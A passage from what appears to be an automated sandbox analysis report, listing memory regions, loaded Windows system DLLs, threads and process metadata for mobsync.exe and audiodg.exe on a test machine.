"c:\\windows\\system32\\shcore.dll") Region: id = 7189 start_va = 0x7ffd1cc50000 end_va = 0x7ffd1cc94fff entry_point = 0x7ffd1cc51290 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 7190 start_va = 0x7ffd1cae0000 end_va = 0x7ffd1cb0afff entry_point = 0x7ffd1cae1490 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 7191 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 7192 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 7193 start_va = 0x7ffd18d30000 end_va = 0x7ffd18d53fff entry_point = 0x7ffd18d310b0 region_type = mapped_file name = "idstore.dll" filename = "\\Windows\\System32\\IDStore.dll" (normalized: "c:\\windows\\system32\\idstore.dll") Region: id = 7194 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7195 start_va = 0x7ffd18ec0000 end_va = 0x7ffd18eddfff entry_point = 0x7ffd18ec205c region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Thread: id = 672 os_tid = 0x2b8 Thread: id = 686 os_tid = 0x718 Thread: id = 688 os_tid = 0x6f8 Thread: id = 689 os_tid = 0x714 Thread: id = 690 os_tid = 0x740 Process: id = "67" image_name = "mobsync.exe" filename = "c:\\windows\\system32\\mobsync.exe" page_root = "0x59835000" os_pid = "0x714" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "41" os_parent_pid = "0x228" cmd_line = "C:\\Windows\\System32\\mobsync.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7420 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7421 start_va = 0xf57df60000 end_va = 0xf57df7ffff entry_point = 0x0 region_type = private name = "private_0x000000f57df60000" filename = "" Region: id = 7422 start_va = 0xf57df80000 end_va = 0xf57df8efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f57df80000" filename = "" Region: id = 7423 start_va = 0xf57df90000 end_va = 0xf57e00ffff entry_point = 0x0 region_type = private name = "private_0x000000f57df90000" filename = "" Region: id = 7424 start_va = 0xf57e010000 end_va = 0xf57e013fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f57e010000" filename = "" Region: id = 7425 start_va = 0x7ff63a2f0000 end_va = 0x7ff63a312fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff63a2f0000" filename = "" Region: id = 7426 start_va = 0x7ff63a31d000 end_va = 0x7ff63a31efff entry_point = 0x0 region_type = private name = "private_0x00007ff63a31d000" filename = "" Region: id = 7427 start_va = 0x7ff63a31f000 end_va = 0x7ff63a31ffff entry_point = 0x0 region_type = private name = "private_0x00007ff63a31f000" filename = "" Region: id = 7428 start_va = 0x7ff63a5a0000 end_va = 0x7ff63a5b9fff entry_point = 0x7ff63a5a2c6c region_type = mapped_file name = "mobsync.exe" filename = "\\Windows\\System32\\mobsync.exe" (normalized: "c:\\windows\\system32\\mobsync.exe") Region: id = 7429 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7431 start_va = 0xf57e020000 end_va = 0xf57e022fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f57e020000" filename = "" Region: id = 7432 start_va = 0xf57e030000 end_va = 0xf57e031fff entry_point = 0x0 region_type = private name = "private_0x000000f57e030000" filename = "" Region: id = 7448 start_va = 0xf57e220000 end_va = 0xf57e31ffff entry_point = 0x0 region_type = private name = "private_0x000000f57e220000" filename = "" Region: id = 7449 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7450 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7451 start_va = 0xf57df60000 end_va = 0xf57df6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f57df60000" filename = "" Region: id = 7452 start_va = 0x7ff63a1f0000 end_va = 0x7ff63a2effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff63a1f0000" filename = "" Region: id = 7453 start_va = 0xf57e040000 end_va = 0xf57e0bdfff entry_point = 0xf57e040000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7454 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7455 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7456 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7457 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 7458 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd51100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 7459 start_va = 0xf57df70000 end_va = 0xf57df76fff entry_point = 0x0 region_type = private name = "private_0x000000f57df70000" filename = "" Region: id = 7460 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7461 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7462 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7463 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 7464 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7465 start_va = 0xf57e0c0000 end_va = 0xf57e20ffff entry_point = 0x0 region_type = private name = "private_0x000000f57e0c0000" filename = "" Region: id = 7466 start_va = 0xf57e0c0000 end_va = 0xf57e0c6fff entry_point = 0x0 region_type = private name = "private_0x000000f57e0c0000" filename = "" Region: id = 7467 start_va = 0xf57e200000 end_va = 0xf57e20ffff entry_point = 0x0 region_type = private name = "private_0x000000f57e200000" filename = "" Region: id = 7468 start_va = 0xf57e0d0000 end_va = 0xf57e103fff entry_point = 0xf57e0d1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7469 start_va = 0xf57e320000 end_va = 0xf57e4a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f57e320000" filename = "" Region: id = 7470 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7471 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 7472 start_va = 0xf57e4b0000 end_va = 0xf57e630fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f57e4b0000" filename = "" Region: id = 7473 start_va = 0xf57e640000 end_va = 0xf57fa3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f57e640000" filename = "" Region: id = 7481 start_va = 0xf57e0d0000 end_va = 0xf57e0d0fff entry_point = 0x0 region_type = private name = "private_0x000000f57e0d0000" filename = "" Region: id = 7482 start_va = 0xf57e0e0000 end_va = 0xf57e0e0fff entry_point = 0x0 region_type = private name = "private_0x000000f57e0e0000" filename = "" Region: id = 7483 start_va = 0xf57e0f0000 end_va = 0xf57e1a5fff entry_point = 0xf57e0f1120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 7484 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 7485 start_va = 0xf57e0f0000 end_va = 0xf57e1a9fff entry_point = 0xf57e11c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 7486 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 7487 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 7488 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 7489 start_va = 0xf57e0f0000 end_va = 0xf57e0f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f57e0f0000" filename = "" Region: id = 7490 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 7491 start_va = 0xf57e100000 end_va = 0xf57e100fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f57e100000" filename = "" Region: id = 7492 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 7493 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 7494 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 7495 start_va = 0xf57fa40000 end_va = 0xf57fd14fff entry_point = 0xf57fa40000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 7497 start_va = 0xf57e110000 end_va = 0xf57e18ffff entry_point = 0x0 region_type = private name = "private_0x000000f57e110000" filename = "" Region: id = 7498 start_va = 0xf57fd20000 end_va = 0xf57fd9ffff entry_point = 0x0 region_type = private name = "private_0x000000f57fd20000" filename = "" Region: id = 7499 start_va = 0xf57fda0000 end_va = 0xf57fe1ffff entry_point = 0x0 region_type = private name = "private_0x000000f57fda0000" filename = "" Region: id = 7500 start_va = 0x7ff63a317000 end_va = 0x7ff63a318fff entry_point = 0x0 region_type = private name = "private_0x00007ff63a317000" filename = "" Region: id = 7501 start_va = 0x7ff63a319000 end_va = 0x7ff63a31afff entry_point = 0x0 region_type = private name = "private_0x00007ff63a319000" filename = "" Region: id = 7502 start_va = 0x7ff63a31b000 end_va = 0x7ff63a31cfff entry_point = 0x0 region_type = private name = "private_0x00007ff63a31b000" filename = "" Region: id = 7503 start_va = 0x7ffd12830000 end_va = 0x7ffd12a61fff entry_point = 0x7ffd12831908 region_type = mapped_file name = "synccenter.dll" filename = "\\Windows\\System32\\SyncCenter.dll" (normalized: "c:\\windows\\system32\\synccenter.dll") Region: id = 7504 start_va = 0xf57e190000 end_va = 0xf57e192fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f57e190000" filename = "" Region: id = 7505 start_va = 0x7ffd1af40000 end_va = 0x7ffd1b199fff entry_point = 0x7ffd1af44740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 7506 start_va = 0xf57e1a0000 end_va = 0xf57e1a0fff entry_point = 0xf57e1a0000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 7507 start_va = 0xf57e1b0000 end_va = 0xf57e1b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f57e1b0000" filename = "" Region: id = 7508 start_va = 0x7ffd167a0000 end_va = 0x7ffd16a4efff entry_point = 0x7ffd167a1ee4 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 7509 start_va = 0xf57fe20000 end_va = 0xf57fe9ffff entry_point = 0x0 region_type = private name = "private_0x000000f57fe20000" filename = "" Region: id = 7510 start_va = 0xf57fea0000 end_va = 0xf57ff1ffff entry_point = 0x0 region_type = private name = "private_0x000000f57fea0000" filename = "" Region: id = 7511 start_va = 0x7ff63a313000 end_va = 0x7ff63a314fff entry_point = 0x0 region_type = private name = "private_0x00007ff63a313000" filename = "" Region: id = 7512 start_va = 0x7ff63a315000 end_va = 0x7ff63a316fff entry_point = 0x0 region_type = private name = "private_0x00007ff63a315000" filename = "" Region: id = 7513 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 7514 start_va = 0xf500000000 end_va = 0xf50016ffff entry_point = 0x0 region_type = private name = "private_0x000000f500000000" filename = "" Region: id = 7520 start_va = 0xf500000000 end_va = 0xf500000fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f500000000" filename = "" Region: id = 7521 start_va = 0xf500160000 end_va = 0xf50016ffff entry_point = 0x0 region_type = private name = "private_0x000000f500160000" filename = "" Region: id = 7522 start_va = 0xf500000000 end_va = 0xf5000effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f500000000" filename = "" Region: id = 7523 start_va = 0xf5000f0000 end_va = 0xf5000f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f5000f0000" filename = "" Region: id = 7524 start_va = 0xf500100000 end_va = 0xf500106fff entry_point = 0x0 region_type = private name = "private_0x000000f500100000" filename = "" Region: id = 7525 start_va = 0xf500170000 end_va = 0xf5001effff entry_point = 0x0 region_type = private name = "private_0x000000f500170000" filename = "" Region: id = 7526 start_va = 0x7ff63a1ee000 end_va = 0x7ff63a1effff entry_point = 0x0 region_type = private name = "private_0x00007ff63a1ee000" filename = "" Region: id = 7529 start_va = 0xf5001f0000 end_va = 0xf50026ffff entry_point = 0x0 region_type = private name = "private_0x000000f5001f0000" filename = "" Region: id = 7530 start_va = 0x7ff63a1ec000 end_va = 0x7ff63a1edfff entry_point = 0x0 region_type = private name = "private_0x00007ff63a1ec000" filename = "" Region: id = 7531 start_va = 0x7ffd1a9e0000 end_va = 0x7ffd1aa83fff entry_point = 0x7ffd1a9e2db4 region_type = mapped_file name = "cscui.dll" filename = "\\Windows\\System32\\cscui.dll" (normalized: "c:\\windows\\system32\\cscui.dll") Region: id = 7532 start_va = 0x7ffd19f90000 end_va = 0x7ffd1a0f3fff entry_point = 0x7ffd19fb20f0 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 7533 start_va = 0x7ffd1a960000 end_va = 0x7ffd1a96bfff entry_point = 0x7ffd1a9610a0 region_type = mapped_file name = "cscdll.dll" filename = "\\Windows\\System32\\cscdll.dll" (normalized: "c:\\windows\\system32\\cscdll.dll") Region: id = 7534 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 7536 start_va = 0xf500110000 end_va = 0xf500111fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f500110000" filename = "" Region: id = 7537 start_va = 0xf500120000 end_va = 0xf500122fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f500120000" filename = "" Region: id = 7538 start_va = 0xf500130000 end_va = 0xf500130fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f500130000" filename = "" Region: id = 7539 start_va = 0xf500140000 end_va = 0xf500148fff entry_point = 0xf500140000 region_type = mapped_file name = "cscui.dll.mui" filename = "\\Windows\\System32\\en-US\\cscui.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscui.dll.mui") Region: id = 7540 start_va = 0x7ffd152c0000 end_va = 0x7ffd152cffff entry_point = 0x7ffd152c10a0 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 7542 start_va = 0x7ffd1b1a0000 end_va = 0x7ffd1b1c0fff entry_point = 0x7ffd1b1a1100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 7543 start_va = 0x7ffd12040000 end_va = 0x7ffd120a1fff entry_point = 0x7ffd12040000 region_type = mapped_file name = "syncinfrastructure.dll" filename = "\\Windows\\System32\\SyncInfrastructure.dll" (normalized: "c:\\windows\\system32\\syncinfrastructure.dll") Region: id = 7544 start_va = 0x7ffd1ce20000 end_va = 0x7ffd1cff6fff entry_point = 0x7ffd1ce210a4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 7545 start_va = 0x7ffd19f70000 end_va = 0x7ffd19f80fff entry_point = 0x7ffd19f71080 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 7546 start_va = 0x7ffd1db40000 end_va = 0x7ffd1dd15fff entry_point = 0x7ffd1db410c0 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 7547 start_va = 0x7ffd1cd50000 end_va = 0x7ffd1cd61fff entry_point = 0x7ffd1cd510f4 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 7548 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 7550 start_va = 0xf500270000 end_va = 0xf500669fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f500270000" filename = "" Region: id = 7551 start_va = 0xf500670000 end_va = 0xf5006effff entry_point = 0x0 region_type = private name = "private_0x000000f500670000" filename = "" Region: id = 7552 start_va = 0x7ff63a1ea000 end_va = 0x7ff63a1ebfff entry_point = 0x0 region_type = private name = "private_0x00007ff63a1ea000" filename = "" Region: id = 7553 start_va = 0x7ffd1c580000 end_va = 0x7ffd1c5d6fff entry_point = 0x7ffd1c581a70 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Thread: id = 706 os_tid = 0x740 Thread: id = 710 os_tid = 0x238 Thread: id = 711 os_tid = 0x7ac Thread: id = 712 os_tid = 0x3b4 Thread: id = 714 os_tid = 0x664 Thread: id = 715 os_tid = 0x438 Thread: id = 716 os_tid = 0x804 Thread: id = 717 os_tid = 0x808 Thread: id = 718 os_tid = 0x80c Process: id = "68" image_name = "audiodg.exe" filename = "c:\\windows\\system32\\audiodg.exe" page_root = "0x5bd8e000" os_pid = "0x8b8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "45" os_parent_pid = "0x304" cmd_line = "C:\\Windows\\system32\\AUDIODG.EXE 0x7d8" cur_dir = "C:\\Windows" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\Audiosrv" [0xe], "NT SERVICE\\Dhcp" [0xe], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xe], "NT SERVICE\\vmictimesync" [0xa], "NT SERVICE\\Wcmsvc" [0xe], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000a950" [0xc000000f], "LOCAL" [0x7] Region: id = 7907 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7908 start_va = 0xcbc13c0000 end_va = 0xcbc13dffff entry_point = 0x0 region_type = private name = "private_0x000000cbc13c0000" filename = "" Region: id = 7909 start_va = 0xcbc13e0000 end_va = 0xcbc13eefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc13e0000" filename = "" Region: id = 7910 start_va = 0xcbc13f0000 end_va = 0xcbc146ffff entry_point = 0x0 region_type = private name = "private_0x000000cbc13f0000" filename = "" Region: id = 7911 start_va = 0x7ff63bd90000 end_va = 0x7ff63bdb2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff63bd90000" filename = "" Region: id = 7912 start_va = 0x7ff63bdbd000 end_va = 0x7ff63bdbefff entry_point = 0x0 region_type = private name = "private_0x00007ff63bdbd000" filename = "" Region: id = 7913 start_va = 0x7ff63bdbf000 end_va = 0x7ff63bdbffff entry_point = 0x0 region_type = private name = "private_0x00007ff63bdbf000" filename = "" Region: id = 7914 start_va = 0x7ff63bff0000 end_va = 0x7ff63c02ffff entry_point = 0x7ff63bff0000 region_type = mapped_file name = "audiodg.exe" filename = "\\Windows\\System32\\audiodg.exe" (normalized: "c:\\windows\\system32\\audiodg.exe") Region: id = 7915 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7916 start_va = 0xcbc1630000 end_va = 0xcbc172ffff entry_point = 0x0 region_type = private name = "private_0x000000cbc1630000" filename = "" Region: id = 7917 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7918 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7919 start_va = 0xcbc13c0000 end_va = 0xcbc13cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc13c0000" filename = "" Region: id = 7920 start_va = 0x7ff63bc90000 end_va = 0x7ff63bd8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff63bc90000" filename = "" Region: id = 7921 start_va = 0xcbc1470000 end_va = 0xcbc14edfff entry_point = 0xcbc1470000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7922 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7923 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7924 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 7925 start_va = 0x7ffd1ade0000 end_va = 0x7ffd1ae40fff entry_point = 0x7ffd1adf32c8 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 7926 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 7927 start_va = 0xcbc13d0000 end_va = 0xcbc13d6fff entry_point = 0x0 region_type = private name = "private_0x000000cbc13d0000" filename = "" Region: id = 7928 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7929 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") 